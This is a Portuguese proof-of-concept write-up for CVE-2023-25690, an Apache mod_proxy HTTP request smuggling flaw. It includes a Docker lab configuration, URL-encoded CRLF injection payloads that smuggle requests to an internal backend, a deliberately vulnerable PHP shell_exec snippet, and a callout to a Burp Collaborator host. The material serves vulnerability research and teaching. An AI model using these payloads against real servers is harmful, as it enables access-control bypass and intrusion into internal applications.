dhmosfunk/cve-2023-25690-pocCVE 2023 25690 Prova de conceito - configuração vulnerável do mod_proxy no Apache HTTP Server versões 2.4.0 - 2.4.55 leva à vulnerabilidade de HTTP Request Smuggling.
Algumas configurações do mod_proxy no Apache HTTP Server versões 2.4.0 a 2.4.55 permitem um ataque de contrabando de solicitação HTTP. As configurações são afetadas quando o mod_proxy está habilitado juntamente com alguma forma de RewriteRule ou ProxyPassMatch em que um padrão não específico corresponde a alguma parte dos dados do request-target (URL) fornecidos pelo usuário e é então reinserido no request-target do proxy usando substituição de variáveis. Por exemplo, algo como:
RewriteEngine on
RewriteRule "^/here/(.*)" "http://example.com:8080/elsewhere?$1"; [P]
ProxyPassReverse /here/ http://example.com:8080/
A divisão/contrabando de solicitação pode resultar em bypass dos controles de acesso no servidor proxy, proxy de URLs não intencionais para servidores de origem existentes e envenenamento de cache. Recomenda-se que os usuários atualizem para pelo menos a versão 2.4.56 do Apache HTTP Server.
https://ubuntu.com/security/CVE-2023-25690
https://security.snyk.io/vuln/SNYK-UBUNTU2210-APACHE2-3355688
Com RewriteEngine on incluído na configuração do Apache, o mecanismo de reescrita de URL é habilitado. A reescrita de URL é uma técnica que permite que servidores web alterem dinamicamente as URLs solicitadas pelo navegador do cliente para uma URL diferente antes de servir o conteúdo.
Por exemplo, digamos que temos a seguinte estrutura de URL para uma loja online:
https://example-shop.com/categories/1
Supondo a seguinte diretiva RewriteRule em um arquivo de configuração do Apache:
RewriteRule "^/categories/(.*)" "http://example-shop.com:8080/categories?id=$1"; [P]
Quando um usuário solicita a URL https://example-shop.com/categories/1, a RewriteRule corresponderá à URL e capturará o valor 1 usando a expressão regular ^/categories/(.*). A regra então reescreve a URL para http://example-shop.com:8080/categories?id=1, anexando o valor capturado à URL reescrita como um parâmetro de consulta id.
Como o sinalizador [P] existe na regra, o Apache tratará a URL reescrita como uma solicitação de proxy e a encaminhará ao servidor de destino em http://example-shop.com:8080/categories com o parâmetro de consulta id definido como 1. O servidor de destino processará a solicitação e enviará a resposta de volta ao Apache, que a encaminhará ao cliente.
Em resumo, a diretiva RewriteRule com o sinalizador [P] é usada para reescrever URLs e fazer proxy delas para um servidor diferente. Neste caso, a regra corresponde a URLs que começam com /categories/ e anexa o valor capturado como um parâmetro de consulta id à URL reescrita. O Apache então encaminha a solicitação ao servidor de destino, que processa a solicitação e retorna a resposta.
Por fim, em relação a ProxyPassReverse /categories/ http://example-shop.com:8080/, esta linha simplesmente substitui o domínio e o caminho do servidor backend pelo domínio e caminho do servidor proxy, para que o cliente possa seguir corretamente os links e acessar o conteúdo do servidor backend por meio do proxy como se estivesse sendo servido diretamente pelo servidor proxy.
Para simular a vulnerabilidade no Apache, usaremos a versão 2.4.55 do httpd. Além disso, todo o laboratório será dockerizado para facilitar a configuração, o setup e a reprodutibilidade.
A estrutura de arquivos do laboratório será a seguinte:
lab/
├── backend
│ ├── Dockerfile
│ └── src
│ ├── categories.php
│ └── index.php
├── docker-compose.yml
└── frontend
├── Dockerfile
└── httpd.conf
A configuração final do httpd.conf é estruturada conforme abaixo:
ErrorLog "/usr/local/apache2/logs/error.log"
CustomLog "/usr/local/apache2/logs/access.log" common
# Load necessary modules
LoadModule rewrite_module modules/mod_rewrite.so
LoadModule proxy_module modules/mod_proxy.so
LoadModule proxy_http_module modules/mod_proxy_http.so
<VirtualHost *:80>
RewriteEngine on
RewriteRule "^/categories/(.*)" "http://192.168.10.100:8080/categories.php?id=$1" [P]
ProxyPassReverse "/categories/" "http://192.168.10.100:8080/"
</VirtualHost>
Use o comando docker-compose.exe up --build para iniciar o laboratório.
Nesta seção, explicarei como uma injeção de CRLF pode levar ao contrabando interno de solicitações HTTP, permitindo que um atacante obtenha acesso não autorizado a recursos internos que, de outra forma, seriam inacessíveis.
Com base na descrição do advisory, o httpd <=2.4.55 é vulnerável a HTTP Response Splitting, também conhecido como Injeção de CRLF.
A Injeção de CRLF ocorre quando:
No nosso caso, isso pode ser confirmado passando o seguinte prefixo de CRLF na URL:
HTTP/1.1\r\nFoo: baarr\r\n\r\n
%20HTTP/1.1%0d%0aFoo:%20baarr
Ao anexar o prefixo acima à URL, a solicitação final resultante será a seguinte:
GET /categories/1%20HTTP/1.1%0d%0aFoo:%20baarr HTTP/1.1
Host: 192.168.1.103
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
Após a solicitação, o servidor processará os dados e retornará um código de resposta 200 indicando vulnerabilidade à Injeção de CRLF.
HTTP/1.1 200 OK
Date: Mon, 22 May 2023 02:05:28 GMT
Server: Apache/2.4.54 (Debian)
X-Powered-By: PHP/7.4.33
Content-Length: 21
Content-Type: text/html; charset=UTF-8
You category ID is: 1
Mais informações sobre HTTP Request Splitting podem ser encontradas aqui, https://owasp.org/www-community/attacks/HTTP_Response_Splitting
Usando a injeção de cabeçalho, realizaremos o contrabando interno de solicitações HTTP.
Vamos começar com o seguinte prefixo:
HTTP/1.1\r\nHost: localhost\r\n\r\nGET /SMUGGLED
%20HTTP/1.1%0d%0aHost:%20localhost%0d%0a%0d%0aGET%20/SMUGGLED
e a seguinte solicitação
GET /categories/1%20HTTP/1.1%0d%0aHost:%20localhost%0d%0a%0d%0aGET%20/SMUGGLED HTTP/1.1
Host: 192.168.1.103
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
Aplicando a regra de reescrita, a solicitação passa por uma transformação para o seguinte formato:
GET /categories.php?id=1 HTTP/1.1
Host: localhost
GET /SMUGGLED HTTP/1.1
Host: backend
onde a URL codificada é decodificada em sintaxe HTTP válida, fazendo com que o backend trate os dados decodificados como uma segunda solicitação.
Suponha que nossa aplicação interna tenha o seguinte código secreto:
#Internal secret functionality
if(isset($_GET['secret'])){
$secret = $_GET['secret'];
shell_exec('nslookup ' . $secret);
}
com o seguinte prefixo, somos capazes de enviar a segunda solicitação para a funcionalidade oculta:
HTTP/1.1\r\nHost: localhost\r\n\r\nGET /categories.php?secret=im8uzc5sbq7xasyxk5yhfc734uaky9.burpcollaborator.net
%20HTTP/1.1%0d%0aHost:%20localhost%0d%0a%0d%0aGET%20/categories.php?secret=im8uzc5sbq7xasyxk5yhfc734uaky9.burpcollaborator.net
GET /categories/1%20HTTP/1.1%0d%0aHost:%20localhost%0d%0a%0d%0aGET%20/categories.php%3fsecret%3dq0r2dkj0pyl5o0c5ydcptklbi2otci.burpcollaborator.net HTTP/1.1
Host: 192.168.1.103
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
e recuperar a solicitação no Burp Collaborator:
Correções:
O impacto desta vulnerabilidade é que ela permite que atacantes tenham como alvo e acessem aplicações internas que deveriam ser ocultadas pelo proxy reverso, potencialmente levando a acesso não autorizado, vazamento de dados ou exploração adicional.